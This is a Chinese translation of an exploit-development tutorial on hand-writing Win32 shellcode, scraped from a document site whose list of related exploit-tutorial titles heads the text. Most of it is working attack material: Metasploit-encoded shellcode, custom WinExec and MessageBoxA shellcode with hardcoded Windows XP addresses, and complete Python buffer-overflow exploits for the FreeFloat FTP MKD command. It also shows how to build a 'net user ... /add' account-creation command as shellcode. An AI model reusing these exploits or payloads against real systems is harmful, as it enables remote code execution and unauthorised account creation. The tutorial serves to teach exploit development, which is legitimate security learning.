"\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf" "\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93" "\x99\x1c\x3d\x27\xef\x8

Similar documents
ROP_bamboofox.key

#!/usr/bin/python -w filename="evil.plf" buffer = "A"*2000 textfile = open(filename, 'w') textfile.write(buffer) textfile.close() 创建 plf 文件, 用 immunit

返回导向编程 (ROP) 译者 :Netfairty 前言 欢迎来到第七部分, 经过前面的学习, 可能你想做一些更有挑战性的事. 好的, 本节我们将 要学习的是 ROP( 返回导向编程 ). 不像前一节我们把参数精心布置在堆栈然后调用 Windwos API 去执行它们. 所有介绍 ROP 教程都需

上面的介绍会使我们的漏洞利用更清晰. 再次说明这篇教程不会覆盖所有的系列, 你还需要 做更多的研究. 好吧, 开始我们的旅途! 重现崩溃 是时候崩溃了 "Triologic Media Player 8". 这将是另一个文件格式的漏洞. 下面是 POC 和崩溃的截图, 你只需载入 evil.m3u

Microsoft Word - CIN-DLL.doc

Linux kernel exploit研究和探索

漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 scriptsboy@hacker.com.cn HEAD 部 分 大 小 当 然 也 就 是 固 定 的 18200H 如 果 要 提 取 出 HEAD, 我 们 可 以 选 中 前 18200H 字


今天刚发现的, 比较简单, 于是就来简单分析下吧 该感染样本很简单, 新加了个区段放病毒执行代码, 执行病毒代码, 最后跳回原入口点来执行原文件 下面就是感染后的代码的简单分析 : ; =============== S U B R O U T I N E =====================

int *p int a 0x00C7 0x00C7 0x00C int I[2], *pi = &I[0]; pi++; char C[2], *pc = &C[0]; pc++; float F[2], *pf = &F[0]; pf++;

bingdian001.com

概述

Microsoft PowerPoint - XCon2010_win7_cn.ppt [兼容模式]

,768 32,767 32K JMP Jnnn (386+) LOOP CALL [Label:] JMP short/near/far address L10: jmp jmp L20: L10 L20

06721 main() lock pick proc() restart() [2][4] MINIX minix2.0 GDT, IDT irq table[] CPU CPU CPU CPU (IDTR) idt[] CPU _hwint00:! Interrupt

目 录

学习MSP430单片机推荐参考书

且编写我们的利用程序, 到最后, 会简单讲一下, 这个漏洞的修补. 首先我们来了解下溢出产生的原因. 打开 windbg, 附加到 msue 进程上, 然后在 kernel!readfile 处下断点, 再用 muse 打开我们之前做好的 test.m3u( 注 : 在这个过程中, 会多次断在 Re

<4D F736F F D D6D0B9FAB5D8D6CAB4F3D1A7BFC6D1D0BEADB7D1D3D0B9D8D6C6B6C82D48442E646F63>

被当作鬼的人.doc

/ / (FC 3)...

要 及 时 为 入 党 积 极 分 子 确 定 两 名 培 养 联 系 人, 进 行 联 络 帮 助 要 定 期 ( 每 季 度 至 少 一 次 ) 听 取 培 养 联 系 人 的 思 想 和 工 作 情 况 汇 报, 及 时 完 成 入 党 积 极 分 子 登 记 表 ( 见 附 件 2) 的 填

CC213

1 CPU interrupt INT trap CPU exception

untitled

Slide 1

linux 下的缓冲区溢出 裴士辉 QQ:

Microsoft Word - “调戏”反遭“反调戏”—记Visual Toolbar 的破解过程.doc

BOOL EnumWindows(WNDENUMPROC lparam); lpenumfunc, LPARAM (Native Interface) PowerBuilder PowerBuilder PBNI 2

馬偕醫學院 學生事務工作簡報

威 福 髮 藝 店 桃 園 市 蘆 竹 區 中 山 里 福 祿 一 街 48 號 地 下 一 樓 50,000 獨 資 李 依 純 105/04/06 府 經 登 字 第 號 宏 品 餐 飲 桃 園 市 桃 園 區 信 光 里 民

一 学 校 基 本 情 况 目 录 二 部 门 预 算 报 表 ( 一 ) 收 支 总 表 ( 二 ) 收 入 总 表 ( 三 ) 支 出 总 表 ( 四 ) 财 政 拨 款 支 出 表 三 部 门 预 算 报 表 说 明 ( 一 ) 收 支 总 表 说 明 ( 二 ) 收 入 总 表 说 明 (

目 录 一 学 校 基 本 情 况 二 2016 年 预 算 报 表 ( 一 ) 中 南 大 学 收 支 预 算 总 表 ( 二 ) 中 南 大 学 收 入 预 算 表 ( 三 ) 中 南 大 学 支 出 预 算 表 ( 四 ) 中 南 大 学 财 政 拨 款 支 出 预 算 表 三 2016 年

信息参考

Microsoft Word - 15dbtb007

海 南 冯 琳 峰 海 南 省 锅 炉 压 力 容 器 与 特 种 设 备 检 验 所 海 南 省 定 安 县 白 蒙 路 47 号 信 XC 内 蒙 古 冯 磊 赤 峰 市 特 种 设 备 检 验 所 内 蒙 古 赤 峰 市 红 山 区 八 里 铺 油 库 路


Guava学习之Resources

Microsoft PowerPoint - 从漏洞到利用代码为Metasploit写_cn.ppt

浙江大学本科论文模板

动画光标文件(

(Load Project) (Save Project) (OffLine Mode) (Help) Intel Hex Motor

(A) 二 小 時 (B) 三 小 時 (C) 四 小 時 (D) 五 小 時 第 一 組 出 題 6. 若 對 於 收 到 的 交 通 違 規 罰 單 不 服, 在 收 到 罰 單 幾 日 內 須 向 警 察 機 關 或 監 理 機 關 申 訴? (A) 十 天 (B) 十 五 天 (C) 二 十

untitled

游戏厅捕鱼技巧_天天酷跑游戏技巧 2048游戏技巧,游戏厅打鱼技巧_

untitled

幻灯片 1

Microsoft Word - 正文.doc


秘密

E11701


untitled

ISA-9620用户手册.PDF

Microsoft Word - 1-3陳詠琳-近代..

(Microsoft Word - \244g\246a\247B\244\275\253H\245\365\244\247\275\325\254d\254\343\250s doc)

res/layout 目录下的 main.xml 源码 : <?xml version="1.0" encoding="utf 8"?> <TabHost android:layout_height="fill_parent" xml



2015 度 第 2 期 批 量 集 中 询 价 采 购 项 目 包 组 A1 台 式 计 算 机 ( 配 置 一 ) 采 购 人 信 息 及 采 购 数 量 序 号 单 位 编 码 采 购 单 位 配 送 地 址 广 东 省 交 通 运 输 高 级 技

提纲 1 2 OS Examples for 3

易语言逆向分析

untitled

使用!pvefindaddr 更容易的开发漏洞利用

2015年全国射箭重点学校锦标赛.xls

2015年全国射箭冠军赛.xls

2017年全国射箭重点体校锦标赛.xls

2015年全国室外射箭锦标赛.xls

Important Notice SUNPLUS TECHNOLOGY CO. reserves the right to change this documentation without prior notice. Information provided by SUNPLUS TECHNOLO

FY.DOC

Microsoft PowerPoint - C15_LECTURE_NOTE_04.ppt

目 录 1 正 文 乊 前 目 癿 本 文 内 容 声 明 字 符 编 码 相 兰 癿 背 景 知 识 拉 丁 字 母 什 么 是 字 符 编 码 字 符 编 码 标 准... 8

前沿技术 全面绕过执行流保护 安全研究部张云海 执行流保护 (CFG,Control Flow Guard) 是微软在 Windows 10 技术预览版与 Windows 8.1 update 3 中, 默认启用的一项缓解技术 在分析 CFG 的实现机制的过程中, 我们发现了一种全面绕过 CFG 的

Microsoft PowerPoint - C15_LECTURE_NOTE_04.ppt

> u eip l 3 002f2aa9 90 nop 002f2aaa 90 nop >!chkimg -d -lo 1 ping // 检查文件是否被篡改? 002f2aa7-002f2aaa 4 bytes - ping!maincrtstartup [ e :f0 cc 9

Untitled

科学计算的语言-FORTRAN95

<4D F736F F D20C7B6C8EBCABDCFB5CDB3C9E8BCC6CAA6B0B8C0FDB5BCD1A75FD1F9D5C22E646F63>

● 源起

<4D F736F F D D342DA57CA7DEA447B14D2DA475B57BBB50BADEB27AC3FEB14DA447B8D5C344>

untitled

(2) Function 0BH: Function 0CH: (pixel, picture element) Function 0DH: Function 0FH: Function 13H:

Untitled

A Preliminary Implementation of Linux Kernel Virus and Process Hiding

<4D F736F F D20C8EDBCFEB9A4B3CCCFEEC4BFD0E8C7F3B5F7D1D0B1A8B8E6B7B6B1BE>

未命名-1

ebook45-5

<4D F736F F D20A578A55FB449A8B9BBC8A6E6C17EB8EAC2E0B162A874B2CE56362E365F BEDE2E646F63>

Chn 116 Neh.d.01.nis

untitled

软件测试(TA07)第一学期考试

<4D F736F F D20CEC4BCFEBCB6B6F1D2E2B4FAC2EBC9A8C3E8D2FDC7E6D6D0B5C4BCD3BFC7CAB6B1F0BCBCCAF52E646F6378>

1 Project New Project 1 2 Windows 1 3 N C test Windows uv2 KEIL uvision2 1 2 New Project Ateml AT89C AT89C51 3 KEIL Demo C C File

Magic Desktop

AVR单片机指令系统.PDF

Data Management Software CL-S10w

1-1 SH79F6431 A. 2( ) 9~15V ( 12V) U2 U3 3.3V SH79F B. 1(VCC/GND) SH79F6431 C. VDDIO SH79F6431 P4 P5 P0.6 P0.7 VDDIO VDDIO=5V D. 2 V 1.0

IP TCP/IP PC OS µclinux MPEG4 Blackfin DSP MPEG4 IP UDP Winsock I/O DirectShow Filter DirectShow MPEG4 µclinux TCP/IP IP COM, DirectShow I

候, 妳 看 準 他 睡 的 地 方, 就 進 去 掀 開 他 腳 上 的 被, 躺 臥 在 那 裡, 他 必 告 訴 妳 所 當 做 的 事 路 得 說 : 凡 妳 所 吩 咐 的, 我 必 遵 行 路 得 就 下 到 場 上, 照 她 婆 婆 所 吩 咐 她 的 而 行 波 阿 斯 吃 喝 完

我 们 再 看 到 尼 西 米 记, 也 会 发 现 当 时 神 的 百 姓 有 一 颗 单 纯 受 教 的 心, 他 们 单 纯 的 听 从 神 的 教 导, 敬 畏 遵 从 神 的 训 诲 当 他 们 明 白 自 己 的 罪 孽 时, 个 个 俯 伏 在 地, 为 罪 痛 悔 哭 泣 在 整 个

Transcription:

Writing W32 shellcode 译者 :Netfairy 前言 欢迎继续! 以前我们都是用现成的 shellcode, 今天我们将从头开始写我们自己的 shellcode. 这是一个十分有用的练习, 两个原因 : (1) 如果有一个漏洞有严重的空间限制 (2) 理解 ROP( 返回导向编程 ) 的好办法 为了加快速度我决定使用第一部分为 "FreeFloat FTP" 写的漏洞利用框架. 你还需要一个 叫 Arwin 的软件, 他可以在指定 dll 文件找到函数的绝对地址. 下面是所有本节的相关信息 (C 源码和编译版本 ) 利用环境 :Backtrack 5 调试机器 :Windows XP PRO SP3 坏字符 : \x00\x0a\x0d 漏洞软件 : 下载 Arwin+ 源码 :arwin.rar 介绍 开始之前我想先说几件事. 首先我们的写的 shellcode 基于特定的操作系统 ( 我选择 Win XP SP3). 其次需要操作系统 dll 文件没有基地址随机化 (ASLR) 才可行. 再有就是 Google+MSDN 是 你最后的朋友. 最后就是写 win32 shellcode 实际上比听起来更容易, 不要气馁. 我们将要写两个 payload (1) 弹计算器 (2)MessageBox 弹消息框 首先我们需要了解这两个 API 的功能 (1)WinExec (2)MessageBoxA. 先看看用 metasploit 框架生成的 shellcode 长啥样 ( 注意大小 ). 别忘了对 shellcode 编码以避免 坏字符. (1) WinExec: 弹计算器 root@bt:~# msfpayload windows/exec CMD=calc.exe R msfencode -b '\x00\x0a\x0d' -t c [*] x86/shikata_ga_nai succeeded with size 227 (iteration=1) unsigned char buf[] = "\xd9\xec\xd9\x74\x24\xf4\xb8\x28\x1f\x44\xde\x5b\x31\xc9\xb1"

"\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf" "\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93" "\x99\x1c\x3d\x27\xef\x88\x32\x80\x5a\xef\x7d\x11\x6b\x2f\xd1" "\xd1\xed\xd3\x2b\x06\xce\xea\xe4\x5b\x0f\x2a\x18\x93\x5d\xe3" "\x57\x06\x72\x80\x25\x9b\x73\x46\x22\xa3\x0b\xe3\xf4\x50\xa6" "\xea\x24\xc8\xbd\xa5\xdc\x62\x99\x15\xdd\xa7\xf9\x6a\x94\xcc" "\xca\x19\x27\x05\x03\xe1\x16\x69\xc8\xdc\x97\x64\x10\x18\x1f" "\x97\x67\x52\x5c\x2a\x70\xa1\x1f\xf0\xf5\x34\x87\x73\xad\x9c" "\x36\x57\x28\x56\x34\x1c\x3e\x30\x58\xa3\x93\x4a\x64\x28\x12" "\x9d\xed\x6a\x31\x39\xb6\x29\x58\x18\x12\x9f\x65\x7a\xfa\x40" "\xc0\xf0\xe8\x95\x72\x5b\x66\x6b\xf6\xe1\xcf\x6b\x08\xea\x7f" "\x04\x39\x61\x10\x53\xc6\xa0\x55\xab\x8c\xe9\xff\x24\x49\x78" "\x42\x29\x6a\x56\x80\x54\xe9\x53\x78\xa3\xf1\x11\x7d\xef\xb5" "\xca\x0f\x60\x50\xed\xbc\x81\x71\x8e\x23\x12\x19\x7f\xc6\x92" "\xb8\x7f"; (2) MessageBoxA: 弹出一个标题是 b33f 内容是 Pop the box! 的消息框 root@bt:~# msfpayload windows/messagebox TEXT='Pop the box!' TITLE=b33f R msfencode -b '\x00\x0a\x0d' -t c [*] x86/shikata_ga_nai succeeded with size 287 (iteration=1) unsigned char buf[] = "\xb8\xe0\x20\xa7\x98\xdb\xd1\xd9\x74\x24\xf4\x5a\x29\xc9\xb1" "\x42\x31\x42\x12\x83\xc2\x04\x03\xa2\x2e\x45\x6d\xfb\xc4\x12" "\x57\x8f\x3e\xd1\x59\xbd\x8d\x6e\xab\x88\x96\x1b\xba\x3a\xdc" "\x6a\x31\xb1\x94\x8e\xc2\x83\x50\x24\xaa\x2b\xea\x0c\x6b\x64" "\xf4\x05\x78\x23\x05\x37\x81\x32\x65\x3c\x12\x90\x42\xc9\xae" "\xe4\x01\x99\x18\x6c\x17\xc8\xd2\xc6\x0f\x87\xbf\xf6\x2e\x7c" "\xdc\xc2\x79\x09\x17\xa1\x7b\xe3\x69\x4a\x4a\x3b\x75\x18\x29" "\x7b\xf2\x67\xf3\xb3\xf6\x66\x34\xa0\xfd\x53\xc6\x13\xd6\xd6" "\xd7\xd7\x7c\x3c\x19\x03\xe6\xb7\x15\x98\x6c\x9d\x39\x1f\x98" "\xaa\x46\x94\x5f\x44\xcf\xee\x7b\x88\xb1\x2d\x31\xb8\x18\x66" "\xbf\x5d\xd3\x44\xa8\x13\xaa\x46\xc5\x79\xdb\xc8\xea\x82\xe4" "\x7e\x51\x78\xa0\xff\x82\x62\xa5\x78\x2e\x46\x18\x6f\xc1\x79" "\x63\x90\x57\xc0\x94\x07\x04\xa6\x84\x96\xbc\x05\xf7\x36\x59" "\x01\x82\x35\xc4\xa3\xe4\xe6\x22\x49\x7c\xf0\x7d\xb2\x2b\xf9" "\x08\x8e\x84\xba\xa3\xac\x68\x01\x34\xac\x56\x2b\xd3\xad\x69" "\x34\xdc\x45\xce\xeb\x03\xb5\x86\x89\x70\x86\x30\x7f\xac\x60" "\xe0\x5b\x56\xf9\xfa\xcc\x0e\xd9\xdc\x2c\xc7\x7b\x72\x55\x36" "\x13\xf8\xcd\x5d\xc3\x68\x5e\xf1\x73\x49\x6f\xc4\xfb\xc5\xab" "\xda\x72\x34\x82\x30\xd6\xe4\xb4\xe6\x29\xda\x06\xc7\x85\x24" "\x3d\xcf"; 你可以试试上面的 payload 是否工作. 译者注 : 用 _asm{ lea eax,shellcode; jmp eax;} 测试

是时候开始写我们自己的 shellcode 了. Exploit 框架 我决定用 "FreeFloat FTP" 验证我们编写的 shellcode. 这个软件我们在第一部分曾写过漏洞利 用程序. 首先我们看看这个软件的漏洞利用框架, 之前写的漏洞利用程序在下面 : #!/usr/bin/python # Exploit: FreeFloat FTP (MKD BOF) # # OS: WinXP PRO SP3 # # Author: b33f (Ruben Boonen) # # Software: http://www.freefloat.com/software/freefloatftpserver.zip # import socket import sys shellcode = ( ) # Badchars: \x00\x0a\x0d # # 0x77c35459 : push esp # ret msvcrt.dll # # shellcode at ESP => space 749-bytes # buffer = "\x90"*20 + shellcode evil = "A"*247 + "\x59\x54\xc3\x77" + buffer + "C"*(749-len(buffer)) s=socket.socket(socket.af_inet,socket.sock_stream) connect=s.connect(('192.168.111.128',21)) s.send('user anonymous\r\n') s.send('pass anonymous\r\n') s.send('mkd ' + evil + '\r\n') s.send('quit\r\n') s.close 我们用这个框架验证接下来编写的 shellcode. 只需要把我们写的 shellcode 放到 shellcode 变

量即可. 下图可以看到控制 EIP 后执行到 nop( 也就是 shellcode). ASM && Opcode 编写 shellcode 必须要处理汇编和机器码 ( 汇编指令的十六机制表示 ). 你需要了解汇编的基本 知识 (push, pop,mov,xor, 等等 ), 毫无疑问, shellcode 是用机器码写的, 可能你会问我怎么知 道某条汇编指令的机器码是什么. 我会告诉你答案. 如果你在调试器某条指令下断, immunity 提供了编辑指令功能. 很多时候 immunity 就像是字典. 下面的截图就是把汇编指令翻译为相对应的机器码.

WinExec 写 WinExec 的 shellcode 之前, 我们需要了解这个函数, 它的参数. 你可以查阅 MSDN 得到相关信息. WinExec:MSDN 仔细看看这个函数的信息, WinExec 结构很简单, 包含三个参数 ( 实际上是两个参数 ): Structure: Parameters: UINT WINAPI WinExec( => 指向 kernel32.dll 的 WinExec 指针 ); in LPCSTR lpcmdline, => ASCII 字符串 calc.exe in UINT ucmdshow => 0x00000001 (SW_SHOWNORMAL) 让我们看下第一个参数. 第一个参数是指向 WinExec 的指针, arwin 可以帮助我们在没有 aslr 的 WINXP 找到这个指针. 在调试机器用终端打开 arwin, 执行下面的命令 : arwin.exe kernel32.dll WinExec 接下来就是如何把 ASCII 字符串 ( 在这个例子就是我们想要执行的命令 ) 写入堆栈. 第一次做 可能会有点困惑, 实际上并不难. 最好的理解方式是通过一个例子 : ASCII Text: ASCII Text: calc.exe abcdefghijkl

Split Text into groups of 4 characters: "calc" ".exe" Split Text into groups of 4 characters: "abcd" "efgh" "ijkl" Reverse the order of the character groups: groups: ".exe" "calc" Reverse the order of the character "ijkl" "efgh" "abcd" Look on google for a ASCII to hex converter converter and convert each character while maintaining maintaining the order: "\x2e\x65\x78\x65" "\x63\x61\x6c\x63" Look on google for a ASCII to hex and convert each character while the order: "\x69\x6a\x6b\x6c" "\x65\x66\x67\x68" "\x61\x62\x63\x64" To write these values to the stack simply add To write these values to the stack simply add "\x68" infront of each group: "\x68" infront of each group: "\x68\x2e\x65\x78\x65" => PUSH ".exe" "\x68\x69\x6a\x6b\x6c" => PUSH "ijkl" "\x68\x63\x61\x6c\x63" => PUSH "calc" "\x68\x65\x66\x67\x68" => PUSH "efgh" "\x68\x61\x62\x63\x64" => PUSH "abcd" 这看来非常直截了当, 你可能注意到了我们的 ASCII 字符串是 4 字节对齐. 如果不是 4 字节 对齐会怎么样呢? 有相当多的办法处理这个问题, 我建议你读 corelanc0d3r 写的这篇文章. 通过扩展的阅读你能学到更多知识. 我会介绍其中一项技术, 看下面 ASCII Text: net user b33f 1234 /add Split Text into groups of 4 characters: "net " "user" " b33" "f 12" "34 /" "add"

可以看到 add 没有 4 字节对齐, 非常简单, 在它后面增加一个空格字符就可以了 "add " => "\x68\x61\x64\x64\x20" => PUSH "add " "34 /" => "\x68\x33\x34\x20\x2f" => PUSH "34 /" "f 12" => "\x68\x66\x20\x31\x32" => PUSH "f 12" " b33" => "\x68\x20\x62\x33\x33" => PUSH " b33" "user" => "\x68\x75\x73\x65\x72" => PUSH "user" "net " => "\x68\x6e\x65\x74\x20" => PUSH "net " 最后我们需要 push 1 到堆栈, 这是 WinExec 的 ucmdshow 参数. 如果你不知道机器指令对应的机器码, 在调试里面打上 push 1 就可以看到了. ucmdshow 需要设置为 0x00000001 这有很多方式可以做到, 发挥你的想象力. 我们这样做 : PUSH 1 => "\x6a\x01" (ASCII "1" = "\x31") (*) 另外一种思路, 这样也可以 xor eax,eax (eax 清 0) inc eax (eax 加 1) push eax ( 把 eax 的值压栈 ) 综合 我们把这三个参数按照 MSDN 说明的顺序放到堆栈. 我两点需要注意 :(1) 由于栈是往地地址增长, 所以我们把最后一个参数先压栈 (2) lpcmdline 是我们要执行的命令字符串, 但 WinExec 需要的参数是指向命令字符串的指针. 下面这么做是错的 : "\x68\x2e\x65\x78\x65" => PUSH ".exe" \ Push The ASCII string to the stack "\x68\x63\x61\x6c\x63" => PUSH "calc" / "\x8b\xc4" => MOV EAX,ESP Put a pointer to the ASCII string in EAX "\x6a\x01" => PUSH 1 Push ucmdshow parameter to the stack "\x50" => PUSH EAX Push the pointer to lpcmdline to the stack "\xbb\xed\x2a\x86\x7c" => MOV EBX,7C862AED Move the pointer to WinExec() into EBX "\xff\xd3" => CALL EBX Call WinExec() 上面这么做并不能成功. 我们看看执行这些指令会发生什么.

非常接近成功了, 但是注意到但 WinExec 使用 lpcmdline 参数的时候它不知道参数在哪结束. 我们知道 ASCII 字符串是以 \x00 结束的, 因此我们要给 lpcmdline \x00 结束符. 如下所示 这才是正确的方式 : We need "calc.exe" + "\x00"'s but we know that null-bytes are badcharacters however we can easily xor a register (which will then contain 4 null-bytes) and push it to the stack just before we push calc.exe. "\x33\xc0" => XOR EAX,EAX Zero out EAX register "\x50" => PUSH EAX Push EAX to have null-byte padding for "calc.exe" "\x68\x2e\x65\x78\x65" => PUSH ".exe" \ Push The ASCII string to the stack "\x68\x63\x61\x6c\x63" => PUSH "calc" / "\x8b\xc4" => MOV EAX,ESP Put a pointer to the ASCII string in EAX "\x6a\x01" => PUSH 1 Push ucmdshow parameter to the stack "\x50" => PUSH EAX Push the pointer to lpcmdline to the stack "\xbb\xed\x2a\x86\x7c" => MOV EBX,7C862AED Move the pointer to WinExec() into EBX "\xff\xd3" => CALL EBX Call WinExec() 这应该足够了! 从下图可以看到参数布局是正确的. 执行这个代码将会弹出一个计算器.

#!/usr/bin/python # Exploit: FreeFloat FTP (MKD BOF) # # OS: WinXP PRO SP3 # # Author: b33f (Ruben Boonen) # # Software: http://www.freefloat.com/software/freefloatftpserver.zip # import socket import sys # (*) WinExec # # (*) arwin.exe => Kernel32.dll - WinExec 0x7C862AED # # (*) MSDN Structure: # # # # UINT WINAPI WinExec( => PTR to WinExec # # in LPCSTR lpcmdline, => calc.exe # # in UINT ucmdshow => 0x1 # # ); # # # # Final Size => 26-bytes (metasploit version size => 227-bytes) # WinExec = ( "\x33\xc0" # XOR EAX,EAX "\x50" # PUSH EAX => padding for lpcmdline "\x68\x2e\x65\x78\x65" # PUSH ".exe" "\x68\x63\x61\x6c\x63" "\x8b\xc4" # PUSH "calc" # MOV EAX,ESP

"\x6a\x01" # PUSH 1 "\x50" # PUSH EAX "\xbb\xed\x2a\x86\x7c" # MOV EBX,kernel32.WinExec "\xff\xd3") # CALL EBX # Badchars: \x00\x0a\x0d # # 0x77c35459 : push esp # ret msvcrt.dll # # shellcode at ESP => space 749-bytes # buffer = "\x90"*20 + WinExec evil = "A"*247 + "\x59\x54\xc3\x77" + buffer + "C"*(749-len(buffer)) s=socket.socket(socket.af_inet,socket.sock_stream) connect=s.connect(('192.168.111.128',21)) s.send('user anonymous\r\n') s.send('pass anonymous\r\n') s.send('mkd ' + evil + '\r\n') s.send('quit\r\n') s.close (2) MessageBoxA 接下来写 MessageBoxA shellcode, 先看看这个函数的参数. MessageBoxA:MSDN Structure: Parameters: int WINAPI MessageBox( => user32.dll 的 MessageBoxA 地址 in_opt HWND hwnd, => 0x00000000 (NULL = No Window Owner) in_opt LPCTSTR lptext, => 指向 "Pop the box!" in_opt LPCTSTR lpcaption, => 指向 "b33f" in UINT utype => 0x00000000 (MB_OK MB_APPLMODAL) 看起来有点复杂, 但是没有什么不能解决的. 和前面不同的是这里有两个 ASCII 字符串需要处理. 先用 arwin 在 user32.dll 找到 MessageBoxA 的地址 arwin.exe user32.dll MessageBoxA

好的, 像之前一样布置字符串如下.: ASCII Text: b33f ASCII Text: Pop the box! Split Text into groups of 4 characters: Split Text into groups of 4 characters: "b33f" "Pop " "the " "box!" Reverse the order of the character groups: groups: "b33f" Reverse the order of the character "box!" "the " "Pop " Look on google for a ASCII to hex converter converter and convert each character while maintaining maintaining the order: "\x62\x33\x33\x66" Look on google for a ASCII to hex and convert each character while the order: "\x62\x6f\x78\x21" "\x74\x68\x65\x20" "\x50\x6f\x70\x20" To write these values to the stack simply add simply add "\x68" infront of each group: To write these values to the stack "\x68" infront of each group: "\x68\x62\x33\x33\x66" => PUSH "b33f" "\x68\x62\x6f\x78\x21" => PUSH "box!" PUSH "the " PUSH "Pop " "\x68\x74\x68\x65\x20" => "\x68\x50\x6f\x70\x20" => 还有两个参数 :hwnd 和 utype. 这两个参数都设置为 0x00000000 就好了, 很方便, 通过异或 一个寄存器就可以. 反正我们之前也是要异或寄存器得到 \x00 作为 ASCII 字符串结束符. 这是我写的 shellcode( 当然, 你可以写你自己的正确的方法 :

"\x33\xc0" => XOR EAX,EAX Zero out EAX register "\x50" => PUSH EAX Push EAX to have null-byte padding for "b33f" "\x68\x62\x33\x33\x66" => PUSH "b33f" Push The ASCII string to the stack "\x8b\xcc" => MOV ECX,ESP Put a pointer to lpcaption string in ECX "\x50" => PUSH EAX Push EAX to have null-byte padding for "Pop the box!" "\x68\x62\x6f\x78\x21" => PUSH "box!" \ "\x68\x74\x68\x65\x20" => PUSH "the " Push The ASCII string to the stack "\x68\x50\x6f\x70\x20" => PUSH "Pop " / "\x8b\xd4" => MOV EDX,ESP Put a pointer to lptext string in EDX "\x50" => PUSH EAX Push utype=0x00000000 "\x51" => PUSH ECX Push lpcaption "\x52" => PUSH EDX Push lptext "\x50" => PUSH EAX Push hwnd=0x00000000 "\xbe\xea\x07\x45\x7e" => MOV ESI,7E4507EA Move the pointer to MessageBoxA() into ESI "\xff\xd6" => CALL ESI Call MessageBoxA() ) 看下面的截图, 参数显示正确, 继续运行将会弹出一个消息框. #!/usr/bin/python # Exploit: FreeFloat FTP (MKD BOF) # # OS: WinXP PRO SP3 #

# Author: b33f (Ruben Boonen) # # Software: http://www.freefloat.com/software/freefloatftpserver.zip # # This exploit was created for Part 6 of my Exploit Development tutorial # # series - http://www.fuzzysecurity.com/tutorials/expdev/6.html # import socket import sys # (*) WinExec # # (*) arwin.exe => Kernel32.dll - WinExec 0x7C862AED # # (*) MSDN Structure: # # # # UINT WINAPI WinExec( => PTR to WinExec # # in LPCSTR lpcmdline, => calc.exe # # in UINT ucmdshow => 0x1 # # ); # # # # Final Size => 26-bytes (metasploit version size => 227-bytes) # WinExec = ( "\x33\xc0" # XOR EAX,EAX "\x50" # PUSH EAX => padding for lpcmdline "\x68\x2e\x65\x78\x65" "\x68\x63\x61\x6c\x63" # PUSH ".exe" # PUSH "calc" "\x8b\xc4" # MOV EAX,ESP "\x6a\x01" # PUSH 1 "\x50" "\xbb\xed\x2a\x86\x7c" "\xff\xd3") # PUSH EAX # CALL EBX # MOV EBX,kernel32.WinExec # (*) MessageBoxA # # (*) arwin.exe => user32.dll - MessageBoxA 0x7E4507EA # # (*) MSDN Structure: # # # # int WINAPI MessageBox( => PTR to MessageBoxA # # in_opt HWND hwnd, => 0x0 # # in_opt LPCTSTR lptext, => Pop the box! # # in_opt LPCTSTR lpcaption, => b33f # # in UINT utype => 0x0 # # ); #

# # # Final Size => 39-bytes (metasploit version size => 287-bytes) # MessageBoxA = ( "\x33\xc0" # XOR EAX,EAX "\x50" # PUSH EAX => padding for lpcaption "\x68\x62\x33\x33\x66" # PUSH "b33f" "\x8b\xcc" # MOV ECX,ESP => PTR to lpcaption "\x50" # PUSH EAX => padding for lptext "\x68\x62\x6f\x78\x21" # PUSH "box!" "\x68\x74\x68\x65\x20" # PUSH "the " "\x68\x50\x6f\x70\x20" # PUSH "Pop " "\x8b\xd4" # MOV EDX,ESP => PTR to lptext "\x50" # PUSH EAX - utype=0x0 "\x51" "\x52" "\x50" "\xbe\xea\x07\x45\x7e" "\xff\xd6") # PUSH ECX - lpcaption # PUSH EDX - lptext # PUSH EAX - hwnd=0x0 # MOV ESI,USER32.MessageBoxA # CALL ESI # Badchars: \x00\x0a\x0d # # 0x77c35459 : push esp # ret msvcrt.dll # # shellcode at ESP => space 749-bytes # buffer = "\x90"*20 + MessageBoxA evil = "A"*247 + "\x59\x54\xc3\x77" + buffer + "C"*(749-len(buffer)) s=socket.socket(socket.af_inet,socket.sock_stream) connect=s.connect(('192.168.111.128',21)) s.send('user anonymous\r\n') s.send('pass anonymous\r\n') s.send('mkd ' + evil + '\r\n') s.send('quit\r\n') s.close

原文链接 :http://www.fuzzysecurity.com/tutorials/expdev/6.html